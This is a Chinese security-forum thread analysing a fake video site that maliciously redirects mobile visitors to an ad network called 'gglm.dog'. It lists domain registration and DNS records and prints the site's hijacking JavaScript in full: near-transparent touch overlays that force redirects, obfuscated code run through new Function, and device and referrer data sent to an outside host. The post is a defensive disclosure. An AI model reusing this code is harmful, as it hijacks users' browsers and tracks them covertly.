影视站点套娃恶意劫持 softlynotes-com 狗狗联盟 gglm-dog，火绒不报

显示全部楼层 · 发表于 2026-10-4 10:39:49

来源：https://www.52pojie.cn/thread-2130706-1-1.html
发现：cos911
抄送：@火绒工程师

发现者描述

最近在网上发现了这个，他似乎利用了 301 重定向实现跳转到其他恶意网站
softlynotes，就是这个网站，自称是西瓜影视
大家进去以后，如果没有恶意跳转的话
往下一划，就会跳转（卡饭备注：实际是指定设备下，恶意脚本绘制的点触区域内才可以）
用 360 浏览器访问，竟然没有识别出来风险，就显示未知，大家有兴趣的可以分析一下它

复制代码

影视外壳
域　名　softlynotes[.]com
注册商　Gname.com Pte. Ltd.
注册人
邮　箱
地　区　中国香港（HK,CN）
注册日　2025-10-11 02:08:59 UTC+8
过期日　2027-10-11 02:08:59 UTC+8
更新日　2026-09-24 23:33:20 UTC+8
IANA_ID　1923
状　态　客户端禁止转移
DNS　　a8[.]share-dns[.]com
　　　　b8[.]share-dns[.]net
DNSSEC　未配置

跳转参考
域　名　smun7ro[.]com
注册商　GoDaddy.com, LLC
注册人
邮　箱
注册日　2026-09-23 15:25:33 UTC+8
过期日　2027-09-23 15:25:33 UTC+8
更新日　2026-09-23 15:33:45 UTC+8
IANA_ID　146
状　态　客户端禁止删除
　　　　客户端禁止续费
　　　　客户端禁止转移
　　　　客户端禁止更新
DNS　　noah[.]ns.cloudflare[.]com
　　　　sky[.]ns.cloudflare[.]com
DNSSEC　未配置

解析指向
域　名　aliyunddos1006[.]com
注册商　Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人　浙江阿里巴巴云计算有限公司
邮　箱
省／州　浙江
地　区　中国（CN）
许可号　浙ICP备12022327号
通过日　2020-04-14
注册日　2019-08-15 15:48:06 UTC+8
过期日　2027-08-15 15:48:06 UTC+8
更新日　2026-06-22 17:14:59 UTC+8
IANA_ID　420
状　态　正常
DNS　　vip5[.]alidns[.]com
　　　　vip6[.]alidns[.]com
DNSSEC　未配置

违法内容
域　名　hm0425t[.]vip
注册商　Dynadot Inc
注册人
邮　箱
注册日　2026-09-28 18:13:21 UTC+8
过期日　2027-09-28 18:13:21 UTC+8
更新日　2026-10-03 18:13:24 UTC+8
IANA_ID　472
状　态　客户端禁止转移
　　　　注册局禁止转移
　　　　禁止转移
DNS　　lorna[.]ns.cloudflare[.]com
　　　　ajay[.]ns.cloudflare[.]com
DNSSEC　未配置

解析指向
域　名　fastcdn[.]vip
注册商　NameSilo, LLC
注册人
邮　箱
注册日　2022-11-08 15:32:23 UTC+8
过期日　2026-11-08 15:32:23 UTC+8
更新日　2026-04-17 18:42:49 UTC+8
IANA_ID　1479
状　态　客户端禁止转移
DNS　　ult01[.]dnspod[.]com
　　　　ult02[.]dnspod[.]com
DNSSEC　未配置

所谓联盟
域　名　gglm[.]dog
注册商　GoDaddy.com, LLC
注册人
邮　箱
注册日　2024-06-21 16:46:29 UTC+8
过期日　2028-06-21 16:46:29 UTC+8
更新日　2026-08-12 19:07:41 UTC+8
IANA_ID　146
状　态　客户端禁止删除
　　　　客户端禁止续费
　　　　客户端禁止转移
　　　　客户端禁止更新
DNS alice[.]ns.cloudflare[.]com
　　　　henrik[.]ns.cloudflare[.]com
DNSSEC　未配置

订阅规则

区域语言
　　中国区域：AdGuard Chinese

复制代码

规则头部

![Adblock Plus 2.0]
! Checksum: h4ordYzuKJ4EhWNH8n2gJQ
! Diff-Path: ../patches/224/224-s-1790867395-3600.patch
! Title: AdGuard Chinese filter
! Description: EasyList China + AdGuard Chinese filter. Filter list that specifically removes ads on websites in Chinese language.
! Version: 2.1.66.43
! TimeUpdated: 2026-10-01T15:06:34+00:00
! Expires: 5 days (update frequency)
! Homepage: https://github.com/AdguardTeam/AdGuardFilters
! License: https://github.com/AdguardTeam/AdguardFilters/blob/master/LICENSE
!
!---------------------------------------------------------------------------!
!-------------- Advertising networks ---------------------------------------!
!---------------------------------------------------------------------------!
!
! This section contains the list of third-party advertising networks domains.
! Note, that we only put rules that block full domains here and not URL parts (there's `general_url.txt` for that). Also, it must be domains that are used in a third-party context.
!
! Good: ||doubleclick.net^$third-party
! Bad: /banner.jpg (should be in general_url.txt)
! Bad: ||adssubdomain.legitwebsite.com^ (should be in adservers_firstparty.txt)
!

复制代码

广告过滤

４４５６行
:800*/sc/*n=$script,3p

复制代码

解析参考

{
"tool": "dns",
"query": "www[.]softlynotes[.]com",
"queryType": "ALL",
"server": "172[.]64[.]53[.]25",
"serverHost": "a8[.]share-dns[.]com",
"serverType": "authoritative",
"transport": "tcp",
"recursive": false,
"dnssec": false,
"subdomains": true,
"requestId": "3af1b514-a1e3-407a-b666-c4f6f904bf52",
"timestamp": "2026-10-03T21:25:48.410Z",
"elapsed": 569,
"results": [
{
"type": "A",
"name": "www[.]softlynotes[.]com",
"ttl": 600,
"address": "103[.]119[.]0[.]68"
}
]
}

复制代码

{
"tool": "dns",
"query": "47817g[.]smun7ro[.]com",
"queryType": "ALL",
"server": "108[.]162[.]193[.]133",
"serverHost": "noah[.]ns.cloudflare[.]com",
"serverType": "authoritative",
"transport": "tcp",
"recursive": false,
"dnssec": false,
"subdomains": true,
"requestId": "2dc0b00f-f93d-436f-9b97-fdad27455765",
"timestamp": "2026-10-03T23:45:47.950Z",
"elapsed": 131,
"results": [
{
"type": "CNAME",
"name": "47817g[.]smun7ro[.]com",
"ttl": 600,
"value": "3u8522h624rv2m59[.]aliyunddos1006[.]com"
}
]
}

复制代码

{
"tool": "dns",
"query": "3u8522h624rv2m59[.]aliyunddos1006[.]com",
"queryType": "ALL",
"server": "8[.]129[.]152[.]247",
"serverHost": "vip5[.]alidns[.]com",
"serverType": "authoritative",
"transport": "tcp",
"recursive": false,
"dnssec": false,
"subdomains": true,
"requestId": "875340b8-dfb4-4855-af84-d2a18490f36e",
"timestamp": "2026-10-03T23:47:39.562Z",
"elapsed": 445,
"results": [
{
"type": "A",
"name": "3u8522h624rv2m59[.]aliyunddos1006[.]com",
"ttl": 60,
"address": "203[.]107[.]62[.]233"
}
]
}

复制代码

{
"tool": "dns",
"query": "www[.]hm0425t[.]vip",
"queryType": "ALL",
"server": "108[.]162[.]193[.]56",
"serverHost": "ajay[.]ns.cloudflare[.]com",
"serverType": "authoritative",
"transport": "tcp",
"recursive": false,
"dnssec": false,
"subdomains": true,
"requestId": "e7ea407b-a3fd-48cf-8aeb-32d6d2bb4794",
"timestamp": "2026-10-04T01:33:01.257Z",
"elapsed": 90,
"results": [
{
"type": "CNAME",
"name": "www[.]hm0425t[.]vip",
"ttl": 300,
"value": "mtggtg[.]fastcdn[.]vip"
}
]
}

复制代码

{
"tool": "dns",
"query": "mtggtg[.]fastcdn[.]vip",
"queryType": "ALL",
"server": "1[.]12[.]0[.]64",
"serverHost": "ult01[.]dnspod[.]com",
"serverType": "authoritative",
"transport": "tcp",
"recursive": false,
"dnssec": false,
"subdomains": true,
"requestId": "5398d172-c894-4fb6-babf-d5d50531b757",
"timestamp": "2026-10-04T01:36:24.633Z",
"elapsed": 402,
"results": [
{
"type": "A",
"name": "mtggtg[.]fastcdn[.]vip",
"ttl": 600,
"address": "38[.]11[.]105[.]32"
},
..... 共 8 条 A 指向，此处省略
{
"type": "NSEC",
"name": "mtggtg.fastcdn.vip",
"ttl": 180,
"next_domain": ".mtggtg[.]fastcdn[.]vip",
"rr_types": [
"A",
"MX",
"TXT",
"AAAA",
"SRV",
"RRSIG",
"NSEC",
"UNKNOWN_64",
"UNKNOWN_65",
"CAA"
]
}
]
}

复制代码

具体脚本

１３０６行
<script>
(function () {
function rd(e) {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefhijklmnopqrstuvwxyz",
a = t.length,
n = "";
for (i = 0; i < e; i++) n += t.charAt(Math.floor(Math.random() * a));
return n;
}
function sf(array) {
return new URLSearchParams(
Object.entries(array).sort(() => Math.random() - 0.5),
).toString();
}
if (!/^Mac|Win/.test(navigator.platform)) {
var i = 0;
for (var n = 0; n < 4; n++) {
for (var j = 0; j < 10; j++) {
var style =
"position:fixed; bottom:" +
7.96875 * n +
"vw; left:" +
j * 10 +
"vw; z-index:10;display:block;width:9.6vw;height:7.96875vw;background: #000;opacity:0.01;";
document.write('<div class="jouclpgl_b" style="' + style + '"></div>');
var a = document.getElementsByClassName("jouclpgl_b");
a[i].addEventListener("touchend", function () {
var jouclpgl_n =
"https://" +
rd(3) +
"7817gc[.]mehqk5u[.]com" +
":8005/cc/7817?" +
rd(3) +
"=" +
rd(3) +
"&" +
sf({ is_not: 1, target: 1, ty: 2 });
if (typeof _paramet_ !== "undefined") {
jouclpgl_n += "&" + _paramet_;
}
if (top.location != self.location) {
top.location = jouclpgl_n;
} else {
window.location.href = jouclpgl_n;
}
});
i++;
}
}
}
})();
</script>
<script>
!(function () {
function a(a) {
var b = {
e: "P",
w: "D",
T: "y",
.....
};
return a
.split("")
.map(function (a) {
return void 0 !== b[a] ? b[a] : a;
})
.join("");
}
var b = a(
`AMtUaZDKBQl7_2(.....`.substr(
10,
),
);
new Function(b)();
})();
</script>
</body>
</html>

复制代码

手机判断

if(!/^Mac|Win/.test(navigator.platform)){ ... }

复制代码

循环创建

position:fixed;
bottom: ...;
left: ...;
width:9.6vw;
height:7.96875vw;
background:#000;
opacity:0.01;
z-index:10;

复制代码

点触绑定

a[i].addEventListener("touchend", function(){
var jouclpgl_n =
"https://" + rd(3) + "7817gc[.]mehqk5u[.]com" + ":8005/cc/7817?" +
rd(3) + "=" + rd(3) + "&" +
sf({is_not:1, target:1, ty:2});
if(typeof _paramet_ !== "undefined"){
jouclpgl_n += "&" + _paramet_;
}
if(top.location != self.location){
top.location = jouclpgl_n;
}else{
window.location.href = jouclpgl_n;
}
});

复制代码

字符替换

!function(){
function a(a){
var b = { ...大量字符映射... };
return a.split("").map(function(a){
return void 0 !== b[a] ? b[a] : a
}).join("")
}
var b = a(`...超长混淆字符串...`).substr(10);
new Function(b)()
}();

复制代码

跳转定义

https://<随机3个字母>7817gc[.]mehqk5u[.]com:8005/cc/7817?<随机3字母>=<随机3字母>&is_not=1&target=1&ty=2

复制代码

执行跳转

https://47817g[.]smun7ro[.]com:8005/sc/7817?n=jouclpgl

复制代码

脚本参考

function gougouEvent(e, t) {
(window.addEventListener("touchstart", function () {
var n = (event || window.event).touches[0].clientY;
if ("1" == t.position) {
if (n < t.height)
try {
((t.type = "good"), e.open(t));
} catch (t) {
e.catch(t);
}
else if (n < t.height + t.hiheight)
try {
e.gtop() >= 10 && ((t.type = "hidden"), e.open(t));
} catch (t) {
e.catch(t);
}
} else {
var o = window.innerHeight;
if (o - n < t.height)
try {
((t.type = "good"), e.open(t));
} catch (t) {
e.catch(t);
}
else if (o - n < t.height + t.hiheight)
try {
((t.type = "hidden"), e.open(t));
} catch (t) {
e.catch(t);
}
}
}),
window.addEventListener("touchend", function () {
var n = (event || window.event).changedTouches[0].clientY;
if ("1" == t.position) {
if (n < t.height)
try {
((t.type = "good"), e.open(t));
} catch (t) {
e.catch(t);
}
} else {
var o = window.innerHeight;
if (o > 0 && n > 0 && o - n < t.height)
try {
((t.type = "good"), e.open(t));
} catch (t) {
e.catch(t);
}
}
}));
}
/*! // javascript-obfuscator:disable */ !(function () {
var e = Math.random()
.toString(36)
.substr(Math.floor(6 * Math.random() + 2));
if (null == window[e]) {
var t = (window[e] = {}),
n = 0,
o = 0,
r = 0;
if (
((t.$ = function (e) {
return "." == e.substr(0, 1)
? document.getElementsByClassName(e.substr(1))
: "#" == e.substr(0, 1)
? document.getElementById(e.substr(1))
: document.getElementsByTagName(e);
}),
(t.rc = function (e) {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefhijklmnopqrstuvwxyz",
n = "";
for (i = 0; i < e; i++) n += t.charAt(Math.floor(51 * Math.random()));
return n;
}),
(t.gCook = function (e) {
var t,
n = new RegExp("(^| )gg_" + e + "=([^;]*)(;|$)");
return (t = document.cookie.match(n)) ? unescape(t[2]) : null;
}),
(t.sCook = function (e, t, n) {
var o = new Date();
(o.setTime(o.getTime() + 1e3 * n),
(document.cookie =
"gg_" + e + "=" + escape(t) + ";expires=" + o.toGMTString()));
}),
(t.isCook = function () {
return (t.sCook("iscookie", "1"), "1" == t.gCook("iscookie"));
}),
(t.gtop = function () {
return document.documentElement.scrollTop || document.body.scrollTop;
}),
(t.CScr = function (e) {
var t = document.createElement("script");
t.src = e;
var n = document.getElementsByTagName("script")[0];
n.parentNode.insertBefore(t, n);
}),
(t.cLab = function (e) {
return document.createElement(e);
}),
(t.open = function (e) {
if (t.gCook("is_open")) return !1;
t.sCook("is_open", "1", 2);
var i = event || window.event,
a = (cy = 0);
(i &&
"touchstart" == i.type &&
((a = i.touches[0].clientX), (cy = i.touches[0].clientY)),
i &&
"touchend" == i.type &&
((a = i.changedTouches[0].clientX),
(cy = i.changedTouches[0].clientY)),
i && "click" == i.type && ((a = i.clientX), (cy = i.clientY)));
var c = 1;
if (t.isCook() && (s = t.gCook("is_repeat_ip_" + e.id)))
(new Array(), (c = s.split(":").length));
var s;
c = 1;
if (t.isCook() && (s = t.gCook("is_repeat_ip_" + e.id)))
(new Array(), (c = s.split(":").length));
e.open_n += 1;
const d = {
is_not: e.is_not,
interval: parseInt((new Date().getTime() - e.time) / 1e3),
refso:
(window.DeviceOrientationEvent ? 1 : 0) +
"_" +
navigator.platform +
"_" +
n +
"_" +
o +
"_" +
r +
"_" +
parseInt(localStorage.getItem("xx_channel_id")),
url: encodeURIComponent(t.de(document.URL.substr(0, 100))),
source: encodeURIComponent(t.de(document.referrer.substr(0, 100))),
screen: window.screen.width + "*" + window.screen.height,
ifrom: self != top ? 1 : 0,
history: history.length,
ipnumber: c,
clickp: parseInt(a) + "*" + parseInt(cy),
ctype: e.type,
open_n: e.open_n,
xx_webid: localStorage.getItem("xx_webid"),
web_id: localStorage.getItem("web_id"),
jstime: parseInt(new Date().getTime() / 1e3),
t: Math.random(),
};
"0" == e.is_not && (d.se = e.string);
const h = new URLSearchParams(
Object.entries(d).sort(() => Math.random() - 0.5),
).toString();
((e.purl += "/cc/" + e.id + "?" + t.rc(3) + "=" + t.rc(3) + "&" + h),
(e.opentime = parseInt(Date.now())),
top.location != self.location
? (top.location = e.purl + "&target=1")
: ((window.location.href = e.purl + "&target=1"),
(e.user_agent.indexOf("quark") >= 0 ||
e.user_agent.indexOf("ucbrowser") >= 0 ||
e.user_agent.indexOf("mqqbrowser") >= 0) &&
t.CScr(e.purl + "&target=0")),
setTimeout(function () {
parseInt(Date.now() - 2e3 - parseInt(e.read_time)) < e.opentime &&
t.CScr(e.purl + "&target=0&is_qie=1");
}, 2e3));
}),
(t.cSty = function (e) {
t.$("#" + m) && t.$("#" + m).remove();
var n = e.style;
((n += "body{margin: 0px;}"),
(n +=
"#" +
c +
" ~ ." +
g +
"{display: block; width: 10%; position: fixed; z-index: 2147483646;}"),
(n += "#" + c + " ~ " + p + "{background: #eadf7d; color: #fffcfc;}"),
(n +=
"#" +
c +
" ~ " +
p +
":before{content: '';transform: rotate(45deg);-webkit-transform: rotate(45deg);display: block;width: 17px;height: 1px;background: #ddd;margin-top: 8px;}"),
(n +=
"#" +
c +
" ~ " +
p +
":after{content: ''; transform:rotate(-45deg); -webkit-transform:rotate(-45deg);display: block;width: 17px;height: 1px;background: #ddd;margin-top: -1px;}"));
var o = document.createElement("style");
if (
((o.innerHTML = n),
(o.id = m),
document.head.appendChild(o),
!t.$("#" + c))
) {
var i = document.createElement("div");
((i.id = c), document.body.appendChild(i));
}
t.gImg(e);
}),
(t.gImg = function (e) {
if (e.matter) {
let n = new XMLHttpRequest();
((n.onreadystatechange = function () {
if (4 === n.readyState && (200 == n.status || 304 == n.status)) {
var e = n.responseText;
if (e) {
t.$("#" + u) && t.$("#" + u).remove();
var o =
"#" +
c +
" ~ ." +
g +
"{background-image: url(data:image/png;base64," +
e +
") !important;}",
i = document.createElement("style");
((i.innerHTML = o), (i.id = u), document.head.appendChild(i));
}
}
}),
n.open("GET", e.murl + "/" + e.matter, !0),
n.send());
}
("click" != e.evetype && gougouEvent(t, e), t.img(e));
}),
(t.img = function (e) {
for (var n = e.height / 4, o = e.width / 10, i = 0; i < 4; i++)
for (var r = 0; r < 10; r++) {
if (
(t.$("#" + g + "_" + i + "_" + r) &&
t.$("#" + g + "_" + i + "_" + r).remove(),
"1" == e.position)
)
var a =
"height:" +
n +
"px; top:" +
(i * n + e.reserve_height) +
"px; left:" +
r * o +
"px; background-position: -" +
r * o +
"px -" +
i * n +
"px; background-size: " +
e.width +
"px " +
e.height +
"px !important;";
else
a =
"height: " +
n +
"px; bottom:" +
((3 - i) * n + e.reserve_height) +
"px; left:" +
r * o +
"px; background-position: -" +
r * o +
"px -" +
i * n +
"px; background-size: " +
e.width +
"px " +
e.height +
"px !important;";
var s = t.cLab("div");
((s.className = g),
(s.id = g + "_" + i + "_" + r),
(s.style = a),
s.addEventListener(e.evetype, function () {
try {
((e.type = "good"), t.open(e));
} catch (e) {
t.catch(e);
}
}),
t.$("#" + c).parentNode.appendChild(s));
}
"0" == e.is_not &&
setTimeout(function () {
t.img(e);
}, 2e3);
}),
(t.ac = function (e, n = "add") {
for (var o = 1; o <= 10; o++)
t.$("#" + h + "_" + o) && t.$("#" + h + "_" + o).remove();
if (
"add" == n &&
"1" == e.hid_state &&
e.hid_pvnum_show <= e.show_number
) {
for (o = 1; o <= 10; o++) {
var i = t.cLab("div");
((i.style =
"display:block;position:fixed;width:10%;left:" +
10 * (o - 1) +
"vw;border:none;z-index:2147483646;"),
(i.id = h + "_" + o),
"1" == e.position
? (t.gtop() >= 30
? (i.style.height = e.hiheight + "px")
: (i.style.height = "10px"),
(i.style.top = e.height + e.reserve_height + "px"))
: ((i.style.height = e.hiheight + "px"),
(i.style.bottom = e.height + e.reserve_height + "px")),
i.addEventListener(e.evetype, function () {
try {
((e.hid_c_number += 1),
e.hid_c_number >= e.hid_click_num &&
((e.hid_state = 0), t.ac(e, "del")),
(e.type = "hidden"),
t.open(e));
} catch (e) {
t.catch(e);
}
}),
document.body.insertAdjacentElement("afterend", i));
}
"0" == e.is_not &&
setTimeout(function () {
t.ac(e);
}, 2e3);
}
}),
(t.qd = function (e, n = "add") {
if (!t.isCook()) return !1;
t.$(d)[0] && t.$(d)[0].remove();
var o = t.gCook("is_com" + e.id);
if (
"add" == n &&
"1" == e.com_state &&
!o &&
e.com_pvnum_show <= e.show_number
) {
var i = t.cLab(d);
((i.style = t.de(
"f6LJqdTg )qO(S! 4*62fYRg @}o1o{sKoK! D6fFhg }00b! JOL6F6O2g 76RYf! hY6phFg}00b! )OFFO^g 0JR! qY7Fg 0JR!",
)),
t.$("#" + c).parentNode.appendChild(i),
t.$(d)[0].addEventListener(e.evetype, function () {
try {
((e.com_c_number += 1),
e.com_c_number >= e.com_click_num &&
((e.com_state = 0), t.qd(e, "del")),
t.sCook("is_com" + e.id, "1", parseInt(e.com_defer)),
(e.type = "compel_click"),
t.open(e));
} catch (e) {
t.catch(e);
}
}),
setTimeout(function () {
t.qd(e);
}, 1e3));
}
}),
(t.gb = function (e) {
if (e.false_clo > 1) {
t.$(p)[0] && t.$(p)[0].remove();
var n = t.de(
"f6LJqdTg )qO(S!4*62fYRg @}o1o{sKoK! D6fFhg }1JR! JOL6F6O2g 76RYf! hY6phFg }1JR! qY7Fg }JR!",
),
o = t.cLab(p);
("1" == e.position
? (o.style = n + "top:" + (e.height + e.reserve_height) + "px;")
: (o.style = n + "bottom:" + (e.height + e.reserve_height) + "px;"),
t.$("#" + c).parentNode.appendChild(o),
t.$(p)[0].addEventListener(e.evetype, function () {
try {
(t.hide(),
e.false_clo >= parseInt(100 * Math.random()) &&
((e.type = "close"), t.open(e)));
} catch (e) {
t.catch(e);
}
}));
}
}),
(t.hide = function (e) {}),
(t.db = function (e) {
if ("1" != e.is_jiexi) {
t.$(s)[0] && t.$(s)[0].remove();
var n = t.cLab(s);
((n.style =
"display: block; width: 100%; height:" + e.height + "px;"),
"1" == e.position
? document.body.insertBefore(n, document.body.childNodes[0])
: document.body.appendChild(n));
}
}),
(t.skip = function (e) {
setTimeout(function () {
t.isCook() &&
e.compel_skip > parseInt(100 * Math.random()) &&
(t.gCook("is_skip") ||
(t.sCook("is_skip", "1", 10), (e.type = "skip"), t.open(e)));
}, 1e3 * e.compel_skip_delay);
}),
(t.de = function (e) {
for (
var t = {
e: "P",
w: "D",
T: "y",
.....
},
n = "",
o = "",
i = 0;
i < e.length;
i++
)
o += t[(n = e[i])] ? t[n] : n;
return o;
}),
(t.yb = function (e) {
window.DeviceMotionEvent &&
window.addEventListener(
"devicemotion",
function (e) {
var t = e.accelerationIncludingGravity;
((n = parseInt(100 * t.x) / 100),
(o = parseInt(100 * t.y) / 100),
(r = parseInt(100 * t.z) / 100));
},
!1,
);
}),
(t.catch = function (e) {
encodeURI(e.name + ": " + e.message);
}),
(t.IsPC = function () {
return (
!(navigator.userAgent.indexOf("uiuiui") >= 0) &&
!!/^Win|Mac/.test(navigator.platform)
);
}),
(t.init = function (e) {
(t.IsPC() ||
(t.yb(e), t.cSty(e), t.ac(e), t.gb(e), t.qd(e), t.skip(e), t.db(e)),
e.statis_code && t.CScr(e.statis_code),
/^Win|Mac/.test(navigator.platform) ||
(e.tongji_js && t.CScr(e.tongji_js)));
}),
t.IsPC())
)
console.log("热烈欢迎站长加入狗狗联盟 www[.]gglm[.]dog");
else {
try {
var a = Math.floor(5 * Math.random()) + 3,
c = t.rc(a) + "p",
s = t.rc(a) + "m",
d = t.rc(a) + "q",
h = t.rc(a) + "h",
p = t.rc(a) + "c",
g = t.rc(a) + "i",
u = t.rc(10),
m = t.rc(10),
l =
(window.innerHeight,
JSON.parse(
t.de(
'["6LM2OF"g"}"="6f"g1{}1="L64Y"g"}"="5YLY5XYMhY6phF"g0="JOL6F6O2M6f"g}}="JOL6F6O2"g"@"="7dqLYM(qO"g0="h6fMhY6phF"g"}00"="YXYFTJY"g"FO_(hLFd5F"="J_5q"g"hFFJLg\\/\\/0o0{p(mJ}ShFfdm(O^g{00n"="J_5q@"g"hFFJLg\\/\\/0o0{p(mJ}ShFfdm(O^g{00n"="^_5q"g"hFFJLg\\/\\/6^ppm(O6Y7npm(O^"P',
),
));
navigator.userAgent.match(
/(googlebot|baiduspider|360spider|sogou\ web\ spider|sosospider|bingbot)/i,
) ||
(document.body || document.head.after(document.createElement("body")),
(l.width = window.innerWidth),
parseInt(window.screen.height) / parseInt(window.screen.width) > 1.7
? ((l.height = parseInt(
(l.width / 640) * (124 + 40 * (3 - l.size)),
)),
(l.hiheight = parseInt((l.width / 640) * l.hid_height)))
: ((l.height = 120), (l.hiheight = 0)),
(l.user_agent = navigator.userAgent.toLowerCase()),
(l.time = new Date().getTime()),
(l.open_n = 0),
(l.hid_c_number = 0),
(l.com_c_number = 0),
(l.show_number = 1),
t.yb(l),
t.cSty(l),
t.img(l),
t.ac(l),
t.gb(l),
t.db(l));
} catch (e) {
t.catch(e);
}
var f = new XMLHttpRequest();
(f.open("GET", l.purl + "/d/" + l.id + "?t=" + Math.random(), !0),
f.setRequestHeader("Content-type", "application/x-www-form-urlencoded"),
f.send(),
(f.onreadystatechange = function () {
try {
if (4 == f.readyState && 200 == f.status) {
var e = JSON.parse(f.responseText),
n = JSON.parse(t.de(e.key));
((n.string = e.string),
(n.width = window.innerWidth),
parseInt(window.screen.height) / parseInt(window.screen.width) >
1.7
? ((n.height = parseInt(
(n.width / 640) * (124 + 40 * (3 - n.size)),
)),
(n.hiheight = parseInt((n.width / 640) * n.hid_height)))
: ((n.height = 120), (n.hiheight = 0)),
(n.user_agent = navigator.userAgent.toLowerCase()),
(n.time = new Date().getTime()),
(n.open_n = 0),
(n.hid_c_number = 0),
(n.com_c_number = 0),
(n.show_number = t.gCook("show_number" + n.id)),
n.show_number
? (n.show_number = parseInt(n.show_number) + 1)
: (n.show_number = 1),
setTimeout(function () {
t.sCook("show_number" + n.id, n.show_number, 18e3);
}, 3e4),
t.init(n));
}
} catch (e) {
t.catch(e);
}
}));
}
}
})();

复制代码

关键描述

热烈欢迎站长加入狗狗联盟 www[.]gglm[.]dog

复制代码

请求配置

https://47817g[.]smun7ro[.]com:8005/d/7817?t=0.12345678901234567

复制代码

返回内容

{
"key": "["6f"g1{}1="dfXY5F6LY5MdfM6f"gssKK="JF6^Y"g}1Q}01o{1{="6LM2OF"g"0"="L64Y"g"}"="^dFFY5"g"@0@s\\/0Q\\/@o}Ko0sKQ1smFRF"="J_5q"g"hFFJLg\\/\\/0o0{p(mJ}ShFfdm(O^g{00n"="J_5q@"g"hFFJLg\\/\\/0o0{p(mJ}ShFfdm(O^g{00n"="^_5q"g"hFFJLg\\/\\/pmT75Ddm(2"="5YLY5XYMhY6phF"g0="7dqLYM(qO"g0="h6fMLFdFY"g}="h6fMhY6phF"g@n0="h6fM(q6(SM2_^"g}0="h6fMJX2_^MLhOD"g0="(O^MLFdFY"g0="(O^MfY7Y5"g}0="(O^M(q6(SM2_^"g}0="(O^MJX2_^MLhOD"g0="(O^JYqMLS6J"g0="(O^JYqMLS6JMfYqdT"gK000="LYOMLS6J"g0="LYOMLS6JMfYqdT"gK000="JOL6F6O2"g"@"="LFTqY"g""="q62S"g"hFFJLg\\/\\/DDDmh^0o@nFmX6JgQn@1"="6LMC6YR6"g"0"="LFdF6LM(OfY"g""="YXYFTJY"g"FO_(hY2f"="5YdfMF6^Y"g}n00="FO2pC6MCL"g""P",
"string": "YWR2.....yNDFj"
}

复制代码

编码格式

base64

复制代码

解码参考

　　advertiser_ad_id=3366
&
　　advertiser_id=3281
&
　　compel_chance=10
&
　　hid_chance=100
&
　　is_referrer=1
&
　　link=https://www[.]hm0425t[.]vip:9527
&
　　position_id=11
&
　　return_chance=0
&
　　time=1791074878
&
　　type=1
&
　　webmaster_ad_id=7817
&
　　webmaster_id=9076
&
　　key=4c4cc8278d40c7e71654eb4fddf8241c

复制代码

拼接参考

https://47817g[.]smun7ro[.]com:8005/cc/7817?abc=abc&is_not=0&se=YWR2.....NDFj&target=1

复制代码

联盟注册

https://www[.]gglm[.]dog/register
自我描述
狗狗联盟
最专业的广告联盟
选项
［口］流量主登录
［　］广告主登录
帐号
密码
联系人姓名
扣扣号码
验证码
确认注册

复制代码

中断套娃

目前已足够判定其披着影视站点外壳恶意劫持跳转
故我＆Ｄ老师，不再继续分析接下来的套娃内容了

复制代码

显示全部楼层 · 发表于 2026-10-5 15:44:04

bd似乎拦截的是跳转的网页

[已鉴定] 影视站点套娃恶意劫持 softlynotes-com 狗狗联盟 gglm-dog，火绒不报